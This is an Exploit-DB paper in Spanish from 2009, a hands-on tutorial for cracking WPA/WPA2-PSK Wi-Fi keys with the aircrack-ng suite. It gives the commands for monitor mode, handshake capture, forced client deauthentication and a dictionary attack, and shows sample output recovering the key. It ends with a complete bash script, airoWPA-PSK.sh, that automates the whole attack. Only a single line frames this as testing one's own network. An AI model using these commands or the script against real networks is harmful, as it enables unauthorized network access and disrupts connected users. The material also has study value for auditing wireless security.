[Spanish] Cracking WPA/WPA2-PSK with wordlist

EDB-ID:

12944

CVE:

N/A


Author:

ka0x

Type:

papers


Platform:

Multiple

Date:

2009-03-09


-[ INFORMACIÓN ]---------------------------------------------------------------------

	Titulo: Cracking WPA/WPA2-PSK with wordlist
	Autor: ka0x
	Contacto: ka0x01[alt+64]gmail.com
	Fecha: 08/03/2009

---------------------------------------------------------------------------------


-[ ÍNDICE ]---------------------------------------------------------------------

	0x01: Introducción
	0x02: ¿Qué es el handshake?
	0x03: Capturando handshake
	0x04: Conseguir clave con diccionario
	0x05: airoWPA-PSK.sh
	0x06: Fin

---------------------------------------------------------------------------------


---[ 0x01: Introducción ]

En este pequeño texto se explicará como obtener la clave de una red inalámbrica con cifrado WPA/WP2
en la que se esté usando un sistema de clave compartida (pre-shared keys - PSK).
Para todo esto necesitaremos capturar un handshake y después con un diccionario atacar al handshake
para obtener la clave.

Imaginemos que en este caso tenemos la siguiente red inalambrica:

- ESSID: ap_labs
- BSSID: 00:1B:02:93:AF:9C
- CANAL: 1
- CLIENTE: 01:C2:B3:04:02:05


---[ 0x02: ¿Qué es el handshake? ]

Pues el handshake se genera cuando un cliente se asocia a la red inalámbrica,
es como un saludo (apretón de manos) entre el punto de acceso y el cliente.
Son los paquetes que se envían entre el AP y el cliente en el momento de la asociación.
para que podamos empezar el ataque con diccionario en una red con cifrado WPA-PSK, necesitaremos haber
capturado estos paquetes.

---------------------------------------------------------------------------------



---[ 0x03: Capturando handshake ]

Bueno empecemos...
Utilizamores la suite de aircrack-ng,  si queremos los sources y demás
podemos entrar a su web: http://www.aircrack-ng.org/doku.php#download

Si utilizamos debian, encontraremos el paquete en los repositorios, instalar:
# apt-get install aircrack-ng

Para poder capturar paquetes, tendremos que poner nuestro adaptador wireles en modo monitor:

# airmon-ng start <iface>
p.e: # airmon-ng start wlan0


Siempre se necesitará tener un cliente 'real' asociado en el AP.
Entonces una vez para empezar a capturar paquetes, utilizaremos airodump-ng:

# airodump-ng --bssid 00:1B:02:93:AF:9C -c 1 -w redWPA wlan0
	--bssid -> MAC del punto de acceso.
	-w redWPA -> guardará los datos obtenidos en el archivo "redWPA".
	-c -> Canal del punto de acesso
	wlan0 -> interfaz adaptador inalambrico.

Así capturaremos todo lo que pase por el punto de acceso con MAC: 00:1B:02:93:AF:9C
Entonces vayamos a capturar el handshake...


Como habíamos dicho antes el handshake se genera en el momento que un cliente se asocia al AP.
Entonces, cómo hacemos que se vuelva asociar el cliente al AP?

Facil, desautenticaremos al cliente del AP y esperamos a que se vuelva asociar,
para este proceso usaremos el ataque 0 de aireplay-ng. Este ataque enviará al cliente paquetes de
desautenticacion

Uso:
# aireplay-ng -0 5 -a <MAC_AP> -c <MAC_CLIENTE> <interfaz>
		 |-> Numero de desautenticaciones que se enviarán.
		     Si ponemos un 0, enviará desautenticaciones hasta que lo paremos.

En este caso:
# aireplay-ng -0 15 -a 00:1B:02:93:AF:9C -c 01:C2:B3:04:02:05 wlan0

Cuando ejecutemos esto segun el numero de desautenticaciones nos aparecerá algo así:
Sending DeAuth to station   -- STMAC: [01:C2:B3:04:02:05]

En el momento que el cliente se desasocie y se vuelva a asociar al AP, nosotros con el airodump-ng
capturaremos el handshake.

¿Cómo sabemos que ya lo hemos capturado?

Pues en la ventana donde tenemos corriendo el airodump-ng, arriba a la derecha, veremos algo así:
CH 1 ] [ Elapsed: 14 mins ][ 2009-03-08 ][ WPA handshake: 00:1B:02:93:AF:9C

Una vez que nos aparezca eso, ya podemos cerrar todo, en el archivo redWPA-01.cap ya tendremos
el dichoso handshake =)

---------------------------------------------------------------------------------


---[ 0x04: Conseguir clave con diccionario ]


Una vez teniendo el handshake, ya podemos utilizar un diccionario de posibles claves
para que aircrack-ng compruebe haber si alguna de las claves del diccionario coincide
con la del AP.

¿Qué diccionario usar? pues el de john the ripper, alguno propio, hay muchos...
aunque se supone que esto es para comprobar la seguridad de tu red wireless y ya te tendrás
que saber de sobra tu clave.

La clave pre-compartida puede tener un tamaño de 8 a 63 caracteres.

Empecemos...

Si ejecutamos:
# aircrack-ng redWPA-01.cap

Podremos ver que tenemos un handshake:

---------
Opening wpa-hand.cap
Read 553 packets.

   #  BSSID              ESSID                     Encryption

   1  00:1B:02:93:AF:9C  ap_labs                WPA (1 handshake)  <------

Choosing first network as target.

Opening wpa-hand.cap
Please specify a dictionary (option -w).


Quitting aircrack-ng...
---------

Uso de aircrack-ng con diccionario:
# aircrack-ng -w <ruta_diccionario> <archivo_de_capturas>


Suponiendo que nuestro archivo de datos capturados donde se encuentra el handshake se llama
redWPA-01.cap, lo ejecutaremos de la siguiente forma:


# aircrack-ng -w diccionario.lst redWPA-01.cap

Entonces aquí ya aircrack-ng se pondrá a comprobar las posibles claves del diccionario hasta obtenerla.
Una vez obtenida, nos aparecerá lo siguiente:

---------

                                 Aircrack-ng 1.0 rc1


                   [00:00:00] 0 keys tested (0.00 k/s)


                           KEY FOUND! [ clave__ap ]


      Master Key     : 18 D4 E8 70 A0 B5 D2 26 4C 61 BA 85 5F 36 8F D9 
                       DA 56 2A D2 51 B6 01 B6 A9 E8 61 B3 CD 92 7D 09 

      Transcient Key : DA 5E 56 09 35 9E 2D 9F 35 B0 C5 9E A9 41 71 B5 
                       8A 8C B6 1B B5 A0 D2 C0 53 47 C6 05 CC 2C CA C0 
                       C7 41 04 B2 F5 7D 44 DF 71 C5 11 78 5D DE A1 D0 
                       F9 2E BE 54 22 46 82 24 35 91 7E 93 21 9D BF 78 

      EAPOL HMAC     : 6A 31 F7 C0 C8 A7 83 37 50 FD 44 C3 8C 7D 2B 26

---------

Hay ya vemos que encontro la clave y que es 'clave__ap'.
Como vemos el proceso de obtener una clave WPA/WPA2-PSK no es tan dificil siempre y cuando
sepamos nuestra clave, ya que si no la sabríamos este proceso podría durar horas, dias e incluso semanas
depende el diccionario que usemos.

---------------------------------------------------------------------------------



---[ 0x05: airoWPA-PSH.sh ]

Para simplificar un poco este proceso de obtención de la clave, hice un pequeño script en bash
sencillo que te puede servir si eres un poco vago :P

<-----------------airoWPA-PSK.sh--------------------->
#!/bin/bash

# airoWPA-PSK.sh v0.1
# written by ka0x <ka0x01[at]gmail.com>

if [ $UID != 0 ]; then
	echo "[!] NECESITAS EJECUTAR EL SCRIPT $0 CON PRIVILEJIOS DE SUPERUSUARIO"
	exit
fi

comprueba_mac(){
	if [ ! "${#1}" -eq "17" ]; then
		echo -e "\033[31mMac Incorrecta\n\033[0m"
		exit
	fi
}
interfaces() {
	echo -e "\n\033[31m[*] Seleccione la interfaz que va a utilizar: \033[0m\n"
	INTERFACES=$(iwconfig | grep ESSID | awk '{ print $1 }')
	select INTER in $INTERFACES; do
		break;
	done
	clear
}

monitor(){
	airmon-ng start $INTER
	clear
	menu
}

handshake(){
	clear
	read -p "[-] Introduzca la MAC del AP: " mac_ap
	comprueba_mac $mac_ap
	read -p "[-] Introduzca la MAC del Cliente: " mac_client
	comprueba_mac $mac_client
	read -p "[-] Introduzca el canal del AP: " mac_chanel
	read -p "[-] Nombre de archivo donde se guardaran los datos capturados: " datas
	xterm -hold -title "Obteniendo Handshake en $mac_ap" -geometry 96x60+0+0 -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $mac_ap -c $mac_chanel -w $datas $INTER && clear && menu
}

desautenticacion(){
	clear
	read -p "[-] Introduzca la MAC del AP: " mac_ap
	comprueba_mac $mac_ap
	read -p "[-] Introduzca la MAC del cliente asociado: " mac_cliente
	comprueba_mac $mac_cliente
	read -p "[-] Introduzca el numero de desautenticaciones: " num
	xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Desautenticando $mac_cliente del AP $mac_ap $num veces" -e aireplay-ng -0 $num -a $mac_ap -c $mac_cliente $INTER
	clear
	menu
}

crack_dicc(){
	clear
	read -p "[-] Introduzca la ruta del diccionario: " diccionario
	echo "[-] Seleccione el archivo de datos capturados:"

	LS_DIR=$(ls *.cap)
	select DATA in $LS_DIR; do
		break;
	done
	
	xterm -hold -geometry 70x25-0+0 -bg "#000000" -fg "#99CCFF" -title "Obteniendo clave con diccionario: $diccionario" -hold -e aircrack-ng -w $diccionario $DATA
	menu
}

menu(){
	echo -e "\n[*] Opciones:\n"
	echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\033[0m"
	echo "1 - Activar Modo Monitor"
	echo "2 - Capturar handshake"
	echo "3 - Desautenticar cliente"
	echo "4 - Obtener clave con diccionario"
	echo "5 - Salir"
	echo -e "\033[31m-=-=-=-=-=-=-=-=-=-=-=-=-\n\033[0m"

	read -p "opcion> " OPCION

	case $OPCION in
		"1") monitor;;
		"2") handshake;;
		"3") desautenticacion;;
		"4") crack_dicc;;
		"5") exit;;
	*) echo -e "\033[31m[!] OPCION NO VALIDA\n\033[0m" && menu;;

	esac
}

interfaces
menu

# __EOF__
<------------------------------------------------>

---------------------------------------------------------------------------------


---[ 0x06: Fin ]

Bueno pues eso es todo, los pasos son bastantes sencillos, cualquier duda pueden
entrar a la web de aircrack-ng (http//www.aircrack-ng.org) donde podrán encontrar abundante documentación
o mismamente enviándome un email.

Espero que se entienda.

Un saludo!

# ka0x

---------------------------------------------------------------------------------

__EOF__

# milw0rm.com [2009-03-09]